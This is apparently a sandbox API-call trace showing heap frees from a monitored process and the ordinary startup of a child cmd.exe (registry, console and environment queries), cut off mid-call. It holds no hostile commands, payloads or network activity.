[0078.970] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.970] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.970] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.970] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.970] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0078.971] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.971] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.971] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0079.182] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.182] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.183] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0079.186] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.191] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.194] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.195] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0079.195] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.195] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.198] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.199] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0079.199] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.201] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.203] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.203] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.204] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.204] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.205] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.205] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.205] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0079.206] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.208] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.208] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.208] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0079.209] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.211] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.212] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.212] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.212] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0079.214] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.214] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.214] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0079.217] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0079.619] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0079.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0079.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.623] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.623] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0079.623] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0079.628] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0079.628] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0079.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0079.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0079.630] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0079.630] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0079.630] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0079.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.634] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0079.634] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0079.634] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0079.634] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.637] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.637] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.640] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.640] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0079.643] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0079.644] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0079.644] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0079.646] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0080.214] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0080.218] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.219] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0080.222] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0080.224] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.224] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0080.225] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.225] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0080.225] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0080.226] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0080.226] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0080.226] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0080.226] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0080.227] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0080.227] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0080.228] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.230] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0080.230] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0080.230] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0080.230] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.233] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.233] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.234] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0080.234] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.234] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.234] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 Thread: id = 27 os_tid = 0x48c Thread: id = 28 os_tid = 0xe64 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4542000" os_pid = "0x7a4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x474" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x58 [0054.429] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff75b700000 [0054.429] __set_app_type (_Type=0x1) [0054.429] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff75b716d00) returned 0x0 [0054.430] __getmainargs (in: _Argc=0x7ff75b739200, _Argv=0x7ff75b739208, _Env=0x7ff75b739210, _DoWildCard=0, _StartInfo=0x7ff75b73921c | out: _Argc=0x7ff75b739200, _Argv=0x7ff75b739208, _Env=0x7ff75b739210) returned 0 [0054.430] _onexit (_Func=0x7ff75b717fd0) returned 0x7ff75b717fd0 [0054.430] _onexit (_Func=0x7ff75b717fe0) returned 0x7ff75b717fe0 [0054.430] _onexit (_Func=0x7ff75b717ff0) returned 0x7ff75b717ff0 [0054.430] _onexit (_Func=0x7ff75b718000) returned 0x7ff75b718000 [0054.431] _onexit (_Func=0x7ff75b718010) returned 0x7ff75b718010 [0054.431] _onexit (_Func=0x7ff75b718020) returned 0x7ff75b718020 [0054.431] GetCurrentThreadId () returned 0x58 [0054.431] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x58) returned 0x70 [0054.431] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0054.432] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0054.432] SetThreadUILanguage (LangId=0x0) returned 0x409 [0055.520] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0055.520] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x58ed8ffd88 | out: phkResult=0x58ed8ffd88*=0x0) returned 0x2 [0055.521] VirtualQuery (in: lpAddress=0x58ed8ffd74, lpBuffer=0x58ed8ffcf0, dwLength=0x30 | out: lpBuffer=0x58ed8ffcf0*(BaseAddress=0x58ed8ff000, AllocationBase=0x58ed800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0055.521] VirtualQuery (in: lpAddress=0x58ed800000, lpBuffer=0x58ed8ffcf0, dwLength=0x30 | out: lpBuffer=0x58ed8ffcf0*(BaseAddress=0x58ed800000, AllocationBase=0x58ed800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0055.521] VirtualQuery (in: lpAddress=0x58ed801000, lpBuffer=0x58ed8ffcf0, dwLength=0x30 | out: lpBuffer=0x58ed8ffcf0*(BaseAddress=0x58ed801000, AllocationBase=0x58ed800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0055.521] VirtualQuery (in: lpAddress=0x58ed804000, lpBuffer=0x58ed8ffcf0, dwLength=0x30 | out: lpBuffer=0x58ed8ffcf0*(BaseAddress=0x58ed804000, AllocationBase=0x58ed800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0055.521] VirtualQuery (in: lpAddress=0x58ed900000, lpBuffer=0x58ed8ffcf0, dwLength=0x30 | out: lpBuffer=0x58ed8ffcf0*(BaseAddress=0x58ed900000, AllocationBase=0x58ed900000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0055.521] GetConsoleOutputCP () returned 0x1b5 [0056.475] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75b73fbb0 | out: lpCPInfo=0x7ff75b73fbb0) returned 1 [0056.476] SetConsoleCtrlHandler (HandlerRoutine=0x7ff75b728150, Add=1) returned 1 [0056.476] _get_osfhandle (_FileHandle=1) returned 0x254 [0056.476] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff75b73fc04 | out: lpMode=0x7ff75b73fc04) returned 0 [0056.476] _get_osfhandle (_FileHandle=0) returned 0x248 [0056.476] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff75b73fc00 | out: lpMode=0x7ff75b73fc00) returned 0 [0056.476] _get_osfhandle (_FileHandle=1) returned 0x254 [0056.476] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0056.477] _get_osfhandle (_FileHandle=1) returned 0x254 [0056.477] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff75b73fc08 | out: lpMode=0x7ff75b73fc08) returned 0 [0056.477] _get_osfhandle (_FileHandle=0) returned 0x248 [0056.477] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff75b73fc0c | out: lpMode=0x7ff75b73fc0c) returned 0 [0056.477] GetEnvironmentStringsW () returned 0x1bebb9c5a10* [0056.477] GetProcessHeap () returned 0x1bebb9c0000 [0056.477] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0xa7c) returned 0x1bebb9c64a0 [0056.477] FreeEnvironmentStringsA (penv="A") returned 1 [0056.477] GetProcessHeap () returned 0x1bebb9c0000 [0056.477] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x8) returned 0x1bebb9c6f30 [0056.477] GetEnvironmentStringsW () returned 0x1bebb9c5a10* [0056.477] GetProcessHeap () returned 0x1bebb9c0000 [0056.477] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0xa7c) returned 0x1bebb9c6f50 [0056.477] FreeEnvironmentStringsA (penv="A") returned 1 [0056.478] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x58ed8fec38 | out: phkResult=0x58ed8fec38*=0x7c) returned 0x0 [0056.478] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x0, lpData=0x58ed8fec50*=0x4, lpcbData=0x58ed8fec34*=0x1000) returned 0x2 [0056.478] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x4, lpData=0x58ed8fec50*=0x1, lpcbData=0x58ed8fec34*=0x4) returned 0x0 [0056.478] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x0, lpData=0x58ed8fec50*=0x1, lpcbData=0x58ed8fec34*=0x1000) returned 0x2 [0056.478] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x4, lpData=0x58ed8fec50*=0x0, lpcbData=0x58ed8fec34*=0x4) returned 0x0 [0056.478] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x4, lpData=0x58ed8fec50*=0x40, lpcbData=0x58ed8fec34*=0x4) returned 0x0 [0056.478] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x4, lpData=0x58ed8fec50*=0x40, lpcbData=0x58ed8fec34*=0x4) returned 0x0 [0056.478] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x0, lpData=0x58ed8fec50*=0x40, lpcbData=0x58ed8fec34*=0x1000) returned 0x2 [0056.478] RegCloseKey (hKey=0x7c) returned 0x0 [0056.478] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x58ed8fec38 | out: phkResult=0x58ed8fec38*=0x7c) returned 0x0 [0056.479] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x0, lpData=0x58ed8fec50*=0x40, lpcbData=0x58ed8fec34*=0x1000) returned 0x2 [0056.479] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x4, lpData=0x58ed8fec50*=0x1, lpcbData=0x58ed8fec34*=0x4) returned 0x0 [0056.479] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x0, lpData=0x58ed8fec50*=0x1, lpcbData=0x58ed8fec34*=0x1000) returned 0x2 [0056.479] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x4, lpData=0x58ed8fec50*=0x0, lpcbData=0x58ed8fec34*=0x4) returned 0x0 [0056.479] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x4, lpData=0x58ed8fec50*=0x9, lpcbData=0x58ed8fec34*=0x4) returned 0x0 [0056.479] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x4, lpData=0x58ed8fec50*=0x9, lpcbData=0x58ed8fec34*=0x4) returned 0x0 [0056.479] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x58ed8fec30, lpData=0x58ed8fec50, lpcbData=0x58ed8fec34*=0x1000 | out: lpType=0x58ed8fec30*=0x0, lpData=0x58ed8fec50*=0x9, lpcbData=0x58ed8fec34*=0x1000) returned 0x2 [0056.479] RegCloseKey (hKey=0x7c) returned 0x0 [0056.479] time (in: timer=0x0 | out: timer=0x0) returned 0x5d2355c9 [0056.479] srand (_Seed=0x5d2355c9) [0056.479] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0056.479] malloc (_Size=0x4000) returned 0x1bebb9b54f0 [0056.480] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0056.480] malloc (_Size=0xffce) returned 0x1bebbb90080 [0056.480] ??_V@YAXPEAX@Z () returned 0x1bebbb90080 [0056.481] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1bebbb90080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.481] malloc (_Size=0xffce) returned 0x1bebbba0060 [0056.481] ??_V@YAXPEAX@Z () returned 0x1bebbba0060 [0056.482] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1bebbba0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0056.482] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff75b73bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0056.482] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff75b73bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0056.482] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75b73bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0056.482] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0056.482] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0056.482] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0056.482] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0056.482] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0056.482] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0056.482] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0056.482] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0056.482] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0056.482] GetProcessHeap () returned 0x1bebb9c0000 [0056.482] RtlFreeHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, BaseAddress=0x1bebb9c64a0) returned 1 [0056.483] GetEnvironmentStringsW () returned 0x1bebb9c5a10* [0056.483] GetProcessHeap () returned 0x1bebb9c0000 [0056.483] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0xa94) returned 0x1bebb9c7a10 [0056.483] FreeEnvironmentStringsA (penv="A") returned 1 [0056.483] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff75b73bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0056.483] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff75b73bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0056.483] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0056.483] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0056.483] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0056.483] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0056.483] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0056.483] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0056.483] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0056.483] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0056.483] malloc (_Size=0xffce) returned 0x1bebbbb0040 [0056.483] ??_V@YAXPEAX@Z () returned 0x1bebbbb0040 [0056.484] GetProcessHeap () returned 0x1bebb9c0000 [0056.484] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x40) returned 0x1bebb9c84b0 [0056.484] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1bebbbb0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.484] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, 